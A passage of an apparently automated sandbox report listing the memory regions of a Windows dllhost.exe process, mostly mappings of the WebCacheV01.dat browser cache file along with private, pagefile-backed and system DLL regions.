monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1151
start_va = 0x6a0000
end_va = 0x6affff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1152
start_va = 0x6b0000
end_va = 0x6bffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1153
start_va = 0x6c0000
end_va = 0x6cffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1154
start_va = 0x6d0000
end_va = 0x6dffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1155
start_va = 0x6e0000
end_va = 0x6effff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1156
start_va = 0x6f0000
end_va = 0x6fffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000006f0000"
filename = ""
Region:
id = 1157
start_va = 0x700000
end_va = 0x7fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000700000"
filename = ""
Region:
id = 1158
start_va = 0x800000
end_va = 0x80ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1159
start_va = 0x810000
end_va = 0x81ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1160
start_va = 0x820000
end_va = 0x82ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1161
start_va = 0x830000
end_va = 0x83ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1162
start_va = 0x840000
end_va = 0x84ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1163
start_va = 0x850000
end_va = 0x85ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1164
start_va = 0x860000
end_va = 0x86ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1165
start_va = 0x870000
end_va = 0x877fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000870000"
filename = ""
Region:
id = 1166
start_va = 0x880000
end_va = 0x881fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000880000"
filename = ""
Region:
id = 1167
start_va = 0x890000
end_va = 0x89ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1168
start_va = 0x8a0000
end_va = 0x8affff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1169
start_va = 0x8b0000
end_va = 0x8bffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1170
start_va = 0x8c0000
end_va = 0x8cffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000008c0000"
filename = ""
Region:
id = 1171
start_va = 0x8d0000
end_va = 0x9cffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000008d0000"
filename = ""
Region:
id = 1172
start_va = 0x9d0000
end_va = 0x9dffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1173
start_va = 0x9e0000
end_va = 0x9effff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1174
start_va = 0x9f0000
end_va = 0x9fffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1175
start_va = 0xa00000
end_va = 0xa0ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1176
start_va = 0xa10000
end_va = 0xa1ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1177
start_va = 0xa20000
end_va = 0xa2ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1178
start_va = 0xa30000
end_va = 0xa3ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1179
start_va = 0xa40000
end_va = 0xa4ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1180
start_va = 0xa50000
end_va = 0xa5ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1181
start_va = 0xa60000
end_va = 0xa6ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1182
start_va = 0xa70000
end_va = 0xa7ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1183
start_va = 0xa80000
end_va = 0xa8ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1184
start_va = 0xa90000
end_va = 0xa9ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1185
start_va = 0xaa0000
end_va = 0xaa7fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000aa0000"
filename = ""
Region:
id = 1186
start_va = 0xab0000
end_va = 0xabffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1187
start_va = 0xac0000
end_va = 0xacffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1188
start_va = 0xad0000
end_va = 0xbcffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000ad0000"
filename = ""
Region:
id = 1189
start_va = 0xbd0000
end_va = 0xd57fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000bd0000"
filename = ""
Region:
id = 1190
start_va = 0xd60000
end_va = 0xee0fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000d60000"
filename = ""
Region:
id = 1191
start_va = 0xef0000
end_va = 0x22effff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000ef0000"
filename = ""
Region:
id = 1192
start_va = 0x22f0000
end_va = 0x22fffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000022f0000"
filename = ""
Region:
id = 1193
start_va = 0x2300000
end_va = 0x230ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000002300000"
filename = ""
Region:
id = 1194
start_va = 0x2310000
end_va = 0x231ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000002310000"
filename = ""
Region:
id = 1195
start_va = 0x2320000
end_va = 0x232ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000002320000"
filename = ""
Region:
id = 1196
start_va = 0x2330000
end_va = 0x233ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000002330000"
filename = ""
Region:
id = 1197
start_va = 0x2340000
end_va = 0x234ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000002340000"
filename = ""
Region:
id = 1198
start_va = 0x2350000
end_va = 0x235ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1199
start_va = 0x2360000
end_va = 0x236ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1200
start_va = 0x2370000
end_va = 0x237ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1201
start_va = 0x2380000
end_va = 0x238ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1202
start_va = 0x2390000
end_va = 0x239ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1203
start_va = 0x23a0000
end_va = 0x23affff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1204
start_va = 0x23b0000
end_va = 0x23bffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000023b0000"
filename = ""
Region:
id = 1205
start_va = 0x23c0000
end_va = 0x24bffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000023c0000"
filename = ""
Region:
id = 1206
start_va = 0x24d0000
end_va = 0x24dffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1207
start_va = 0x25c0000
end_va = 0x28f6fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "sortdefault.nls"
filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")
Region:
id = 1208
start_va = 0x2900000
end_va = 0x38fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000002900000"
filename = ""
Region:
id = 1209
start_va = 0x3900000
end_va = 0x398ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000003900000"
filename = ""
Region:
id = 1210
start_va = 0x3990000
end_va = 0x399ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1211
start_va = 0x39d0000
end_va = 0x39dffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1212
start_va = 0x39e0000
end_va = 0x39effff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1213
start_va = 0x3a00000
end_va = 0x3a07fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000003a00000"
filename = ""
Region:
id = 1214
start_va = 0x3a10000
end_va = 0x3a1ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1215
start_va = 0x3a20000
end_va = 0x3a2ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1216
start_va = 0x3a30000
end_va = 0x3a3ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1217
start_va = 0x3a40000
end_va = 0x3a4ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1218
start_va = 0x3a50000
end_va = 0x3a57fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000003a50000"
filename = ""
Region:
id = 1219
start_va = 0x3a60000
end_va = 0x3a6ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1220
start_va = 0x3a80000
end_va = 0x3a8ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000003a80000"
filename = ""
Region:
id = 1221
start_va = 0x3ac0000
end_va = 0x3acffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1222
start_va = 0x3ad0000
end_va = 0x3adffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1223
start_va = 0x3ae0000
end_va = 0x3aeffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1224
start_va = 0x3af0000
end_va = 0x3afffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1225
start_va = 0x3b00000
end_va = 0x3b0ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1226
start_va = 0x3b10000
end_va = 0x3b1ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000003b10000"
filename = ""
Region:
id = 1227
start_va = 0x3b20000
end_va = 0x3b2ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1228
start_va = 0x3b30000
end_va = 0x3b3ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1229
start_va = 0x3b40000
end_va = 0x3b4ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1230
start_va = 0x3b50000
end_va = 0x3c4ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000003b50000"
filename = ""
Region:
id = 1231
start_va = 0x3c50000
end_va = 0x3c5ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1232
start_va = 0x3c60000
end_va = 0x3c6ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000003c60000"
filename = ""
Region:
id = 1233
start_va = 0x3c70000
end_va = 0x3c7ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1234
start_va = 0x3c80000
end_va = 0x3c8ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1235
start_va = 0x3ca0000
end_va = 0x3caffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 1236
start_va = 0x3cb0000
end_va = 0x3daffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000003cb0000"
filename = ""
Region:
id = 1237
start_va = 0x3db0000
end_va = 0x3eaffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000003db0000"
filename = ""
Region:
id = 1238
start_va = 0x7ffe0000
end_va = 0x7ffeffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000007ffe0000"
filename = ""
Region:
id = 1239
start_va = 0x7df5ffec0000
end_va = 0x7df5fffbffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00007df5ffec0000"
filename = ""
Region:
id = 1240
start_va = 0x7df5fffc0000
end_va = 0x7df5fffe2fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00007df5fffc0000"
filename = ""
Region:
id = 1241
start_va = 0x7df5ffff0000
end_va = 0x7ff5fffeffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00007df5ffff0000"
filename = ""
Region:
id = 1242
start_va = 0x7ff7f8d90000
end_va = 0x7ff7f8d96fff
monitored = 0
entry_point = 0x7ff7f8d91570
region_type = mapped_file
name = "dllhost.exe"
filename = "\\Windows\\System32\\dllhost.exe" (normalized: "c:\\windows\\system32\\dllhost.exe")
Region:
id = 1243
start_va = 0x7ffb14670000
end_va = 0x7ffb14684fff
monitored = 0
entry_point = 0x7ffb14675740
region_type = mapped_file
name = "profext.dll"
filename = "\\Windows\\System32\\profext.dll" (normalized: "c:\\windows\\system32\\profext.dll")
Region:
id = 1244
start_va = 0x7ffb18310000
end_va = 0x7ffb18608fff
monitored = 0
entry_point = 0x7ffb183d7280
region_type = mapped_file
name = "esent.dll"
filename = "\\Windows\\System32\\esent.dll" (normalized: "c:\\windows\\system32\\esent.dll")
Region:
id = 1245
start_va = 0x7ffb19d70000
end_va = 0x7ffb19ffdfff
monitored = 0
entry_point = 0x7ffb19e40f00
region_type = mapped_file
name = "wininet.dll"
filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll")
Region:
id = 1246
start_va = 0x7ffb1f310000
end_va = 0x7ffb1f691fff
monitored = 0
entry_point = 0x7ffb1f361220
region_type = mapped_file
name = "iertutil.dll"
filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll")
Region:
id = 1247
start_va = 0x7ffb23aa0000
end_va = 0x7ffb23b35fff
monitored = 0
entry_point = 0x7ffb23ac5570
region_type = mapped_file
name = "uxtheme.dll"
